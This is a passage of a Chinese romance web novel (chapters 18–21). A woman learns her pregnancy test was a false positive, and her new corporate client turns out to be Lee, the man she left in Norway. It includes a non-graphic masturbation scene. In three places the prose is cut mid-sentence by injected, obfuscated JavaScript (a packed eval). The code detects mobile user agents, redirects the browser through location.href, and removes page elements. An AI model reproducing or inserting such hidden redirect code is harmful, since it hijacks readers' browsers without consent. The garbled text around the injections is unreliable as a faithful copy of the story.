“李逸程这个混蛋!在微信上叫别的女人宝宝,我还不能质问他。我一问他,他就说‘你总是无理取闹不相信我,我受不了了,我们分手吧’。我不相信他?我分明就是太相信他的鬼话了!” 梁宛插不进话,谢晚馨喋喋不休着,誓要将在李逸程那里受的委屈都在此倾泻出来。 “他——”谢晚馨忽然顿住,“等下,我先去个洗手间,憋了一路。” 梁宛无奈失笑,“去吧去吧。” 梁宛端起她已经见底的水杯,重新加满。她哭了那么久,定是要喝很多水。 走回沙发的路上,洗手间的门咔一声打开了。 谢晚馨顶着一张花脸,手指着洗手间的地面,不可置信地尖声问道:“为什么垃圾桶里有验孕棒?你怀孕了?” 梁宛的脚步顿住,倾洒而出的水顺着她的手背落向地板。 18. 018 此刻任何形式的否认都会显得苍白无力。 谢晚馨对验孕棒并不陌生,因为梁宛的劝告,她去测验过自己是否有怀孕。因此她绝不会看错。 在谢晚馨狼狈而震惊的面孔前,梁宛镇定地将水杯放到茶几上,用纸巾擦拭着被水沾湿的手背。 她的心脏在颤抖,但不会流露。 “如果它没有出错——是的。”梁宛缓了口气,“但验孕棒并不是百分百准确。” “不不不……”冲击令谢晚馨语无伦次,“这不是重点。你为什么会怀?你没有男朋友!你瞒着我了?你有男人了?你和谁做了?这太天方夜谭了,我从未听说你有喜欢的人。哦不……” 她停了下来,惊讶地捂住自己张大的嘴,倒吸一口气。 “这个时间——难道是在挪威?” 梁宛中间有好几次想回答她,但音节刚一出口,又被她接连打断,到这时才能插上一句话。 “我并不是有意瞒你。”梁宛试图寻找一个合理的说辞,“但这件事不容易被理解,你也许会觉得我发疯了。” “发疯?你当然是疯了!”谢晚馨一口气喝掉半杯水,重重地在沙发上坐下,已全然将自己和李逸程的事抛之脑后,“但你必须告诉我,否则我今晚一定不会离开你家。” 梁宛的视线跟随谢晚馨的手部动作挪移,没有聚焦。 像当初欺骗Lee那样,这一次,她也没有对谢晚馨坦白。真假掺半是最不易露馅的,也是梁宛惯用的伎俩。 故事也不能一言以蔽之,那将失去可信度。 墙上的时钟滴答飞转,谢晚馨的眼珠也止不住地晃动。 良久,她试图总结这一个冗长又复杂的事件。 “你想要一个孩子,所以在挪威和一个男人一夜情了?哦不,多夜情。”谢晚馨不忘纠正自己的用词,但仍有令她费解之处,“极光猎人是怎么回事?” 梁宛没打算将自己编排成一个插足别人感情的十足混蛋,于是轻飘飘地说:“只是一场普通的邂逅。” 谢晚馨带着狐疑的眼神看向她。 梁宛失笑,提高音量,“难道你认为我会找一个有女朋友的家伙?” 谢晚馨砸吧了下嘴,“那倒不会。” 梁宛的为人谢晚馨还是清楚的,她不屑做那样的事。但一夜情这个标签贴在她身上,就足以让谢晚馨的世界观被颠覆了。 “你真的打算把她生下来?” 梁宛低头,“嗯,我没有理由放过这个优秀的基因。” “那陈知渊怎么办?” 梁宛蹙眉,“这和他有什么关系?” 谢晚馨敲了敲脑袋,后悔问出这样的蠢问题,“我只是觉得你们很配。宝宝,难道你真的打算自己过一辈子?” 梁宛笑了,“难不成这个世界上会有人心甘情愿当后爸?” 一声长叹自谢晚馨嘴中发出。 在她眼中,梁宛从高中起便一直是一个“别人家的孩子”,走着多数家长希望中的那条路。优异的成绩、顶尖的学府、出色的工作能力,按照这个轨迹,下一步应是令人艳羡的家庭。 但忽然间,她就像一架效力几十年的老旧飞机,脱离了控制,冲进雷云,固执偏离原本设定的航道。谢晚馨第一次从梁宛的笑容里读出自毁倾向。但梁宛总是比自己活得更清醒,谢晚馨情愿相信她的内心就是奔放的,只是一直压抑着。 没有人记得最开始谈论的李逸程,夜晚的话题在性/事与育儿的道路上越奔越远,最后以谢晚馨在梁宛家留宿结束。 - 那一晚畅想的未来在三日后的周末崩塌。 “你没有怀孕,验孕棒是假阳。” “你不容易怀孕的,必须调理一段时间。为什么停止吃短效避孕药?你的生活习惯要改,早睡早起,少吃重油重辣,别让自己太累。你的卵巢……” 走出诊室时,梁宛极度平静。 她不无知,明白验孕棒会出错,只是没想过这样的事会落在自己头上。 候诊大厅人满为患,有人走有人来。 一个独自前来的女人挺着肚子起身走进诊室,梁宛在她走后的位置上坐了下来。 扫视检查单时,她没有任何多余的表情,仿佛印刷在上的名字不是自己。 电话在这时响起,她接了起来,没有吭声。 “Denise,你在海淀吗?” “不在。”梁宛闷声回答。 徐菲林犹豫片刻,还是开口:“你能帮我一个忙吗?我女儿在课外辅导班闹脾气了,非要回来,我抽不开身,我老公今天在天津,来不及回京。你能帮我接她到公司来吗?我给你们叫一辆车。” 梁宛没有立刻回答,她垂着眼睛若有所思。 徐菲林对女儿的保护欲很强,就连让她一个人坐车都不放心。 “好,我现在过去。” “你真是帮我大忙了,下周请你吃饭。我把地址发给你——” 挂断电话。 梁宛将检查单对折了两次放进包里。 起身时,她看着医院天花板亮得晃眼的顶灯笑了笑。 满世界来回折腾,但最后她还是一个人。 挪威之行怀揣的愿望与紧张,一路上的心惊与忐忑,都像极了一个笑话。 愿望不会实现,生活的忙碌和人际交往还在继续。 也罢,时间会慢慢冲散她对挪威的记忆,风景与人都是。 只当是从未去过。 - 一转眼入暑了。 谢晚馨和李逸程于两个月前正式分手,藕断丝连小半年,谢晚馨终于在亲眼目睹他和别人搂抱后,下定决心把他赶出家门,正式回到独居的生活。 梁宛送了她一条手链,作为“分手快乐”的礼物。 旧的不去,新的不来。 谢晚馨开始物色下一个能带给她多巴胺的人。 梁宛的生活还是只有工作,能打交道的男人除了同事、同学,就只剩甲方。 不少人想给她做媒,连小区门口开店的阿姨都对此事很有热情。但不巧,梁宛连周末都没有时间。 关雅沁是徐菲林的女儿,在国际学校念高二。 自从半年前梁宛去辅导班接她后,她就爱上了和梁宛相处。 梁宛是一个随和的人,生活没有那么多条条框框。比起总是因为太在乎自己而多加控制的母亲,关雅沁更喜欢和梁宛在一起。 她总以要梁宛帮她辅导英语为由,让徐菲林请梁宛到家中,再以请“老师”吃饭为由,溜出去逛街。梁宛的英语水平早已不如当年,教一个国际学校的学生显得有些可笑。 尽管她并不想“被迫加班”,但碍于徐菲林的面子,她很少拒绝。徐菲林倒不是一个会白嫖下属的上司,每次辅导她都会支付报酬,出去吃饭的费用也由她承担。 又是一个周六,方愿、梁宛和关雅沁一同出门逛街,目的地是开在大型商城中的二次元快闪店。关雅沁有个收集复数的癖好,方愿和梁宛就是被拉来凑人头数抢限量商品的。 排长队的时候,关雅沁聊起暑假旅游计划。 “我没想好是去北欧还是澳洲。” 方愿立马说:“去北欧啊,八月的澳洲很冷吧。宛姐去过挪威,你还能向她要攻略呢。” 梁宛怔了怔,去挪威已经是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203424|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的事。 她的记忆向来不好,对工作学习以外的事印象不深。她甚至不记得自己在奥斯陆去了哪些地方。 “我只记得我是按着挪威缩影的路线走的。” 方愿忽然猛拍关雅沁的肩膀,“说起这个,你宛姐还遇见了一个大帅哥。” 梁宛一怔。 关雅沁追问:“什么帅哥?” “我记得是个极光猎人?带她去看极光,是不是很浪漫?她还偷拍了人家,可惜没拍清楚,不知道宛姐的眼光怎么样。” 梁宛只笑笑说:“北欧帅哥不少,不止我拍的那一个。” “但是你只拍了他,说明他是特别的。” 梁宛摇摇头,不再反驳两个年轻女孩的话。 她二十九岁了。 发现自己已经对帅哥免疫了,只单纯欣赏,不再悸动了。 “说起来,市场部新来的实习生长得不错,听说喜欢谈姐弟恋,宛姐你出手拿下他。” 抢完限量周边去结账后,话题还围绕在帅哥这个主题上。 “他太开朗了,我可招架不住。” “那你喜欢什么型?” “长得好看的。” 关雅沁翻了一个白眼,“其他特征啦!谁不知道你喜欢长得好看的。” 梁宛从来不给自己设一个“理想型”的标准,干脆随便抓了几个词说。 “头发不要留太长,个子最好高一点,嘴唇不要太薄,眼睛不要太小,戴眼镜的话也不错,气质必须干净。” “皮囊之外呢?” 梁宛思索片刻。 “话不要太多,也不要太黏人,心智成熟,为人绅士。” “对动物有爱心?”方愿忽然补充。 梁宛点点头,“再好不过。” 关雅沁顺着方愿的视线看过去,悠悠说:“肩宽腿长?穿西装裤特别帅的?” 梁宛失笑,“听起来在描述建模。” 关雅沁拍了拍梁宛的背,伸手指向一旁的宠物店。 “你看那个人,是不是符合你的标准?” 梁宛抬起眼帘,淡淡投去目光。 宠物店的玻璃窗内,一只胖嘟嘟的柯基刚结束美容,正由店长将它抱给主人。它欢快地摇着长长的尾巴,而不是扭着屁股。 “没有剪尾巴,真可爱。”梁宛喜欢看小狗摇尾巴。 关雅沁冷不丁冒出一句话:“让你看男人,不是狗。” 柯基的主人背对着店门。 他看起来是刚结束工作,穿着黑色的衬衣与西装裤。衬衣的剪裁修身利落,恰到好处地显出男人宽阔的肩膀与腰线。他的双腿被包裹在西装裤下,笔直修长。 男人折起袖口,卡在手肘的位置,双手接过柯基抱在怀里,与店长交谈。梁宛不自觉看向他手臂的肌肉线条,覆有十足的张力。 他虽始终没有转过头,但不难判断他有一头利落的短发,修剪得十分干净。更巧的是,他的耳朵上还架着一副眼镜。 梁宛笑了笑。 她收回视线,说道:“还是柯基比较可爱。” “姐,你没救了。”关雅沁呼出一口气,拍了拍梁宛的肩膀。 “是的我没救了,”梁宛欣然接受这个评价,伸手推着两个人前进,离开宠物店门前,“比起关心我,还是关心关心你的学业吧。” “宛姐你怎么也开始学我妈……” 宠物店内,一声狗吠后。 周沥面无表情报出霍易斐的手机号。 “他的狗,记他账上。” 店长笑眯眯送走客人,不忘和柯基挥手,“胖虎拜拜,下次来的时候给你吃鸭肉干。” 19. 019 狗爪在地板上欢快地摩擦,发出清脆不断的哒哒声。 霍易斐打着石膏坐在沙发上,来不及反应,受伤的脚被胖虎以极快的速度撞到,疼得嗷嗷叫起来。 周沥没有露出半分怜悯的神情,转身打算离开。 “Lee,等一下。”霍易斐龇着牙挽留他,“你刚回北京,就不能多陪陪你可怜的朋友?陪我打游戏怎么样?” 林晓茵去广州出差,霍易斐无聊得紧。自从受伤后成日见不到几个人,唯一的陪伴只有胖虎。前不久他才突然得知周沥要回国的消息,震惊之余也感到高兴。他的家乡是温州,来京发展是为林晓茵,在这里他朋友不多,总有寂寞的时候。周沥回来,意味着他有可以烦的对象了。 “我没有你这么闲。” “……”吃了小半年软饭的霍易斐一时语塞,清了清嗓,“说起来,你为什么突然决定把重心转移回国?你在欧洲市场更有优势,这两年发展迅速。沃斯在国内还没有站稳脚跟,这里竞争更激烈,想要抢占市场并不容易。” 周沥下巴微微抬高,垂眼看着霍易斐,反问:“不容易就要放弃?” 霍易斐耸了耸肩,投降。 自己的这位朋友表面越是沉静无波,越是盘算着别人不知晓的事。周沥大学时与慷慨激昂的竞争者同台演讲,他的表情仿佛准备输掉比赛,未显露出一点好胜心,而对方的表情则胜券在握。但当他开始陈词,人们便会知晓他狂放的野心。 他是躲藏在水面下的掠食者,最富耐心,等待一击毙命的机会。 “周末晓茵回来,一起吃顿饭吧。”霍易斐提议。 “再说。” - 梁宛在Fingerprint待了四年,做过文案和策划,如今又做回当初在4a时做的account。Fingerprint不比4a大公司的体量,在这里她什么都要做。梁宛在家的时间愈来愈少,十二点还在公司加班逐渐成为家常便饭。地铁停了,她就坐着夜班巴士慢悠悠摇回家,每日回到家都感觉身体像被人打散的生鸡蛋。 前同事知道后摇摇头:做什么不好还做阿康,吃过的苦再吃一遍。 对于梁宛来说,她还没有从Fingerprint离开无非是因为工资开得还算高。 23:49 梁宛乘坐夜间巴士在车流中穿行,身后的写字楼中仍有不少亮着的灯,辞职的念头仿佛那一盏盏灯,一次次亮起又一次次熄灭。 自嘲地笑了笑,梁宛知道自己是思想上的巨人,行动上的小矮人,她没有足够的勇气去开始或结束任何一段经历,除非依靠冲动。 夏日巴士的空气里混合着汗水留下的微弱酸味,并不好闻,但她没得选。 她收到一条陈知渊发来的信息。 「刚下班,月光真亮。」 并配上一张用水果手机拍的月亮照片——一团模糊的光。 梁宛转身对着写字楼也拍了一张——无数团模糊的光点。 「没有办公室的灯亮。」 陈知渊发了一个哈哈大笑的表情。 「健身去了,回聊。」 凌晨健身? 梁宛摇摇头,叹了声气,她怎么就没有这样使不完的牛劲呢? 自陈知渊回国后,他时不时会找她进行一番没营养的对话。梁宛从不冷落人,每次也会陪着他将一个话题讲完。 高中时他也这样,闲来无事时想起她,就到二班找她聊上几句,或是有关辩论,或是有关中午食堂的菜。青春期的梁宛也没少自作多情过,但二十九岁的梁宛不会给他人的言语附加任何含义。 金毅:「明天下午2点方便来沃斯吗?」 梁宛揉了揉眼睛,才发现自己忘记回复这条信息。当时她正在吃晚饭,看到信息时恰巧遇陈彦打岔,忘记回复,到此时才意识到。 「方便的。很抱歉,我刚结束一场长会议,这才回复您。」 金毅还醒着,回复:「小事。明天见。」 职场上适当的谎言是必要的。 沃斯是梁宛的新客户,一家科技创新公司,而金毅正是此次的对接人。 梁宛此前对沃斯的了解不深,只听说过其名字。调查过后,她才知道沃斯的产品在欧洲颇有市场,尤其是无人机和运动相机系列。在无人机领域,沃斯已占据欧洲60%的市场,全球范围内客户遍布八十几个国家。其在国内的知名度尚未打开,但有不少测评博主对其产品青睐有加。近三年的扩展速度惊人,成为不少人口中的讨论对象。 关闭手机,梁宛缓缓吐出积压在体内的一口长气。工作上,她几乎没有喘息的机会。 她急需一场放逐自己的机会,像当初去挪威那样。 她想起关雅沁的话,心想澳洲也不错,去南半球体验颠倒的四季。 想法美好,现实骨感。 翌日,梁宛刚开完一个线上会议,就到公司楼下买了两个可丽饼,带上两杯拿铁,和实习AE赶往沃斯。 坐上车,梁宛把香草拿铁和一个可丽饼递给实习生姜之琪。 “小姜,一会儿见到甲方记得要收敛脾气,有什么气等回公司冲我发。” 之所以这么说是因为姜之琪的性格,相处的这段时间里,梁宛发现她很直爽,但同时嘴比脑快,不怕得罪人,有时没忍住也会冒出些粗话。 若是当朋友,梁宛不会反感这类人,但从职业角度考量,她觉得姜之琪并不适合当account,毕竟与客户沟通是当好一个account的关键之一。尽管梁宛这样想,她也不会去干预任何公司人事的决定,只做好自己的职责。 在甲方那儿受气是惯有的事,梁宛忍得了,不代表旁人也是。 每一次遇到趾高气昂的甲方,梁宛都更想辞职一分。 她希望这一次的甲方友善一些。 沃斯距离Fingerprint并不远,路上花了约莫10分钟,在这短短的时间内梁宛就解决了可丽饼和咖啡,一抬头发现姜之琪才吃了一个角。 梁宛看了一眼手表。 “不急,还有时间,我们在外面坐一会儿。” 沃斯的创办人名叫周沥,出生在上海,长在北京,后去往德国留学,在校期间成立了沃斯。 德国。 梁宛有一瞬的恍惚。 “Denise,我吃完了,走吧。”姜之琪打断她的浮想联翩。 - 沃斯的对接人性格随和,不仅没有趾高气昂,在提要求言简意赅。姜之琪还不明白这份难能可贵,但梁宛清楚这样的甲方有多稀少,更何况沃斯连预算也给得很高。梁宛难得在工作时露出发自内心的笑意。 跟随金毅参观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212784|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沃斯时,梁宛将沃斯的氛围与她去过的其他同类型企业横向对比,发现这里松弛愉快许多。工作日的下午,有人用下午茶,有人在健身,甚至有人在放映厅看电影。这对两眼一睁就是工作的梁宛来说,宛若天方夜谭。 金毅介绍说,创始人周沥更注重工作的效率而非时长。比起让员工从早工作到晚,将一肚子怨气投入到项目中,不如选择能聪明解决问题,掌控生活节奏的人。沃斯也致力于调动员工的创造性与积极性。当然,这份表面的轻松不容易维护,除了给予可观的薪水外,它的代价就是过滤掉那些思维不够灵活敏捷的人,有时不近人情。 “这是周总的办公室。” 大门紧闭,仅有的一面巨大玻璃窗拉着百叶帘,不像是欢迎参观的模样。 金毅解释道:“周总今天并不在公司。” 梁宛点点头,她也并不想见。创始人可未必有金毅这般好说话。 “Mia.” 起初梁宛并未听清。 “Mia——” 直到第二声,她心惊了半秒,回头看去。 原来是金毅在叫一个新来的实习生。 姜之琪注意到梁宛的反常,趁金毅和实习生说话的间隙问道:“Denise,你怎么了?” 梁宛牵了牵嘴角,“没事。” 哪怕是她,也惊讶于自己还对这个名字有所反应。 良久,金毅回到她们身边,笑着继续下一个话题:“梁小姐去过欧洲吗?” “去过。” “哦?都是哪儿?” 梁宛欲言又止后道:“英国。” 金毅停下脚步,意味不明地笑了笑,随即邀请两人去品尝沃斯的下午茶。 “梁小姐,下周四上午十点,方便来沃斯吗?” 梁宛在脑内快速过了一遍工作安排,“没问题。” 在他们走后,百叶帘缓缓被拉开。 - 白天发生的事如影随形至夜晚。 梁宛在床上辗转反侧数十分钟,无法入睡。 她不是在想沃斯,只是不受控地记起挪威往事。 那两声梦魇般的“Mia”提醒着她作为骗子生活的十几日。 梁宛从来不避讳自己的生理欲望,渴望时会自行解决,多半借助一些文本或漫画寻找感觉。 但今天,她只要一闭上眼睛,耳边就响起挪威那个男人的声音。 他一声声唤着Mia,从冷静到克制,最后略带着颤,在她耳后,连同温热的鼻息一起。 梁宛夹着被子,越不愿想他,越是想起他。 抵抗不了,她选择顺从这一刻的欲望。 闭上眼睛,她仿佛用一把锁打开了尘封的宝盒,释放出里面的危险。一夜又一夜的画面与感受捆住她的四肢,在她身上游移。梁宛不住地向下伸去手指。 对不起,又利用你了。 良久,梁宛像一只虾米在床上蜷缩起来。 这不是她第一次利用和他的记忆。 这大半年来,在她的幻想中,每一次都有他淡淡笑着搓弄她的模样。 梁宛无数次庆幸她与Lee不会再见。 她对外界有多么光明磊落。 她对Lee就有多卑鄙和龌龊。 连这份心情都刺眼得无法面对,何况是对他。 20. 020 热夏难耐,永不退去的热浪里,蝉鸣震得两耳不得清闲,梁宛一分钟也不想在室外多待。 “您好,请问预约了吗?您的名字是?” “梁宛。” 数分钟后,金毅下楼带领梁宛和姜之琪到会议室。 出乎意料,会议室里竟然备了些茶歇。 金毅一边请她们品尝,一边说:“Denise你们是否介意视频会议?周总也想听你们的计划方案。” 梁宛有些讶异,大老板们普遍鲜少亲自过问项目,即便要把关,通常也与内部员工沟通,再代为转达。 “不介意。” 她没得选。 视频会议开始后,梁宛发现这位创始人并没有露面,甚至没有说一句话。电脑上黑色的画面里只有不断变化的时间。 梁宛微微蹙了蹙眉头。 她不喜欢这种感觉。 只有对方看得见她,她的表情与声音的变化都无处遁形,而她却无法观察对方。 梁宛侧过身,低头翻看文件。 整个过程中,一直是金毅和梁宛在把控节奏,姜之琪偶尔会加入一些自己的想法。过了许久,交谈的声音渐弱,金毅双手交叉合十点了点头,又问周沥。 “周总您觉得如何?” 梁宛屏住呼吸,第一回抬眼去直视摄像头。 音响里传出清脆的一声,似是钢笔落在桌上。 “没有太大的问题。” 梁宛怔了怔。 似曾相识的声音,但她就是想不起来像谁。 苦恼片刻,梁宛放弃了深究,呼出一口气准备整理桌案上的文件。 “梁小姐是对茶歇不满意?你似乎一口未动。” 梁宛顿住,停下动作看向电脑,她下意识道:“我并没有不满意……”半晌她找回工作时的状态,微笑解释,“实在是早饭吃得太饱,没有空间再品尝。十分感谢贵司的款待。” 周沥的声音很低沉,倒没有一丝一毫的装腔作势。他的语速并不快,沉稳且从容。 金毅立刻笑着说道:“那一会儿午餐Denise可要多吃一些,点评一下,也给我们提点建议。” “您太客气了。”梁宛收好文件起身,. 金毅将电脑合上的那一刻,梁宛如释重负,她实在不喜欢被人审视,这让她想起……Lee的眼神。深邃、危险得令她下意识想要逃跑。 沃斯的午餐时间不像Fingerprint那样有相对固定的一个时段,在沃斯你可以随时去用餐,或到咖啡厅工作。疲惫时还有一个摆着折叠沙发床的休憩空间。 梁宛脸上不表现,眼珠却不自觉扫视着这里的环境,心生羡慕。 她不是没想过从乙方公司跳槽到甲方,但谈何容易,大概率面临降级不说,工作也未必比现在顺心,各有各的难处。 “你们不用拘束,现在是休息时间,就当是朋友吃饭聊天,随意些。”金毅笑道。 姜之琪长舒一口气,年轻外向人的朝气顿时释放,与金毅已经从天南聊到海北。 梁宛的心态不一样,她小心谨慎,对人的划分也向来界线分明。她对金毅只有对待公事的态度。基于姜之琪偶尔会出现的口无遮拦,梁宛的精神也无法松懈,时刻注意着她的发言是否有不合适之处,以便提醒。 大约是陈知渊也恰在午休,他发来了信息。 「小梁宛,你和晚馨周末有计划吗?」 梁宛咬住勺子打字回复他:「不知道晚馨的安排,我暂时没有计划,怎么了?」 「我来北京看个朋友,有空赏脸陪我吃个饭吗?」 梁宛低下头,左手捏着自己的后颈有些苦恼。 她真不想社交,只想在家追剧、睡觉。 半晌她叹了一口气。 「行,一会儿我问问晚馨。」 姜之琪瞥见聊天消息,用肩碰了碰梁宛的肩。 “宛姐,这是你的追求者?” 梁宛收起手机,笑了一声,“才不是。这是我同学。别八卦啊,好好吃饭。” 金毅笑而不语。 “我经常看到他给你发信息啊,”姜之琪挑眉,并没有在意梁宛的话,“宛姐你也不用急着否认,我的男同学可从来不会这么勤快地找我聊天。” 梁宛搁下筷子,“那是因为他刚回国半年,朋友不太多。” 学生时代传绯闻,梁宛嘴上反驳,实际上心里有小女生的欢喜和娇羞,因为那个人恰巧是她心仪的。但走入社会后,所有的绯闻都直接和“麻烦”划上等号,周围的目光远不止友善、捉弄。 姜之琪撇撇嘴,低头吃饭,没再说什么。 饭后,梁宛接到方愿打来的电话,走到一旁。 “宛姐,什么时候回公司?陈彦过生日给大家买了蛋糕,留了一大块给你。” 方愿和陈彦两个活宝算是麻木工作中的亮色,虽说陈彦总是会惹出些麻烦。 “应该快了。” 方愿吮着叉勺上的奶油,随口问:“和沃斯谈的怎么样?” “嗯……目前来看挺顺利。” “说起来你见到沃斯的大老板了吗?网上一张照片也找不到,真想看看他长什么样。” “没见到,”梁宛靠着墙,目光没有焦点地流转于远处的两人之间,“他……挺古怪的。” “为什么这么说?” “开视频会议,既不说话,也不露面。” 方愿啧啧两声,“我想到名侦探柯南里有一集的大boss也是这样!好阴森。” “……没看过。”梁宛失笑。 梁宛也不知道自己为什么对这件事耿耿于怀。 工作这些年她遇到的奇葩不在少数,也不过是摇摇头就不计较了。和他们相比,周沥不愿意露面根本算不得什么,也许他只是格外注重隐私。 但从听到他的声音开始,没有任何缘由,梁宛本能地升起了一丝戒备心。 像忽然竖起尖刺的刺猬。 她难以恢复冷静。 “Denise.” 梁宛心脏骤停一瞬,这才注意到金毅走到她身侧。 “有关于预算的问题,周总想亲自和你谈谈,单独的。” 梁宛怔了怔。 亲自? 还是那扇办公室门前,百叶帘隔绝着视线。 咔。 金毅关上门的声音响起,梁宛才缓缓抬起头。 周沥站在落地窗面前,穿着黑色衬衣黑西裤,背对着门。 有一瞬间,梁宛的脑海里闪过那天在宠物店的男人。相似的背影,相似的感觉。 “上午你说的最优方案需要提高预算这一点,没有问题。但我需要你提供一个可量化的成果指标,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222567|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及更明确的项目目标。” 淡漠而平静的声音不再通过电脑外放,而是直接传入梁宛的耳中。 似曾相识的心惊感一发不可收拾地涌向梁宛,在周沥转过身的一刹那,她找到了记忆中的那个嗓音。 湛蓝的天,连绵的卷云,蝉声透过玻璃窗刺向梁宛,一双手捏住了她的心脏。 窗外刺眼的光线勾勒出周沥的轮廓,在眼睛适应光线之前,在他的五官变得清晰明了之前,梁宛就认出了他。 一个她以为这辈子都不会再见的人。 Lee. 他转身走到办公桌边,拿起上午会议时的那份文件翻阅,连余光都未流向她。 梁宛并不想在工作中失态,但她心不由主。 许是太久没有得到回应,周沥合上纸页抬起眼。 四目相接的瞬间,梁宛回避了。 他太过镇定,仿佛是第一次见到她,又仿佛是他已记不得她。 但梁宛没有这般天真。 Lee,或者该称呼他为周沥——他不是一个可以糊弄的对象。 也许此前在挪威时,梁宛还存在侥幸心理,想着不过是十几天的时间,她未必不能骗过他的眼睛。但在这里看到他的那刻起,她就明白她错了。 “梁小姐,我还在等你的回应。” “Lee,你为什么选择Fingerprint?” 她看向他,问道。 小时候,梁宛得到过学校门口小贩卖的知了。小小的木质笼子,关着拥有翅膀的它。那个盛夏,她站在树荫下,将耳朵贴近笼中的知了。远处的鸣叫声和它的重叠在一起,穿透梁宛的耳膜,嗡——地一声后,有一个短暂的瞬间,世界安静了。小贩的叫卖声,放学后的嘈杂声,树叶被风掠过的簌簌声,还有母亲呼唤她的声音,都不见了。 此刻正如那时。 静谧的盛夏,流动的云。 许久,周沥笑了一声,放下手中的文件,表情再度恢复淡漠。 “我以为你是一个公私分明的人。” 梁宛哽了哽,目光不由自主偏移。 “非常抱歉,我并不想让个人的问题影响到工作。但我想作为一个有情感的人,我需要一个合理的——” “解释?” 周沥冷冷抢过她的词,走近一步。 梁宛向后挪了半步,微微偏过头。 她离开挪威时没有给他任何理由,此刻的诘问显得那样苍白又无力。 “很抱歉,我以后会给你一个解释。”她轻轻说,“我并不是有意不告而别。” 每个字都让梁宛的心虚多一分。 宽敞的办公室却显得如此逼仄,叫她喘不过气。 不是有意? 周沥似笑非笑地注视着她,帮她回忆她的所作所为。 “梁小姐,1000克朗,未免太便宜。” 像喝醉酒那样,像被抽空了氧气,面对一步一步靠近她的周沥,梁宛不知所措。 她留下钱和那张纸条绝不是为了羞辱他,只是出于那不安动荡的补偿心理。但当时她身上只剩下那1000克朗。 现在想来,实在欠妥。 明艳的阳光被周沥阻隔,他身上清冽的气味笼罩住她。 梁宛用力咽下嗓子里的不适,不经思考道: “我……我能加钱。” 21. 021 小时候有次学游泳,梁宛因为贪玩在水里翻了个跟头,充满漂白剂味道的水灌入鼻腔,惊慌失措的她以为自己要死了。酸楚和窒息感吓得她很久没敢游泳,成为为数不多印象深刻的记忆。 而现在面对沉默,梁宛的感受与当时相差无几。 不知过了多久,她看见周沥轻轻笑了笑。笑意转瞬即逝,留下眼底的冷漠。 如果她当时留下那1000克朗是出于愧疚,那么她刚才的这句话无疑是对他的羞辱,仿佛将他当成了出卖自己换取金钱的人,而他显然不是,也不可能是。 梁宛抿紧了嘴,懊悔不已。 “我不是那个意思。” 亡羊补牢。 周沥收回目光,转身回到办公桌边。指尖轻轻搭在桌沿,视线平直地看向对面大楼玻璃上的阳光。半晌,他弯起手指,嗓音冷淡问道: “你是打算替沃斯补齐预算缺口?” “……” “不说话是默认了?” 扣紧双手,梁宛道:“我没有那么多钱。” “做不到的事,不要轻易许诺。”周沥没有看她,许久之后,“如果没有其他事,你可以离开了。” 梁宛自然是想要道歉的,但除了“我很抱歉”和“对不起”,她无话可说。那样的道歉在她看来只会火上浇油。 “好。”梁宛垂眼利落转身,脚步刚挪出去一寸又定住,“Lee,我对不起你是我个人的事,你需要任何形式的道歉我都会去做,但这些都与我的公司无关,希望你……” 又是钢笔落在桌上的声音,不可思议地清晰与突兀。 周沥朝她看了过来,声音逐渐变冷。 “梁宛,我不是公私不分的人。” 梁宛颤了颤眼,视线巧妙地偏离。 “谢谢。”关上门之前,她再次强调,“对于挪威发生的事,我真的很抱歉。如果有机会,我会尽可能地去补偿你。无论你信不信,伤害你不是我的初衷……” 虽然那是必然的结果。 梁宛的声音愈来愈轻,直到关门的声音将其斩断。 - “宛姐,给!你最喜欢的芒果味蛋糕,我特意多挖了点芒果给你。”陈彦头戴买蛋糕送的生日皇冠,眉笑眼开凑到梁宛跟前。 “谢谢。”接过蛋糕,梁宛弯腰从办公桌下的帆布袋里取出礼物给他,“生日快乐。” 鲜黄色的果肉水润地泛着亮光,但梁宛一口未动,自坐下来之后便盯着电脑桌面出神。 陈彦察觉到异样,问姜之琪:“她怎么了?怎么感觉魂不守舍的?” 姜之琪耸肩摇了摇头,“下午见过沃斯大老板之后就这样了,刚才在楼下还险些被车撞到了。” “该不会是被刁难了?”陈彦蹙眉,“但以前遇到困难也不见宛姐这样啊。” “不知道咯。”姜之琪拿了一块蛋糕,溜回自己的工位上,对此并不关心。 晚上九点,办公室里的人走了一半,角落的灯熄了,梁宛趴在桌上小憩。 徐菲林食指上挂着车钥匙,哼着小曲挎着包来找她。 “Denise,周六有空来我家吃晚饭吗?别人送了我一只帝王蟹,沁沁说想请你吃。” 梁宛从半梦半醒中复苏,摇头谢过她的好意,“周末有约了。” “那你没口福,可惜了。” 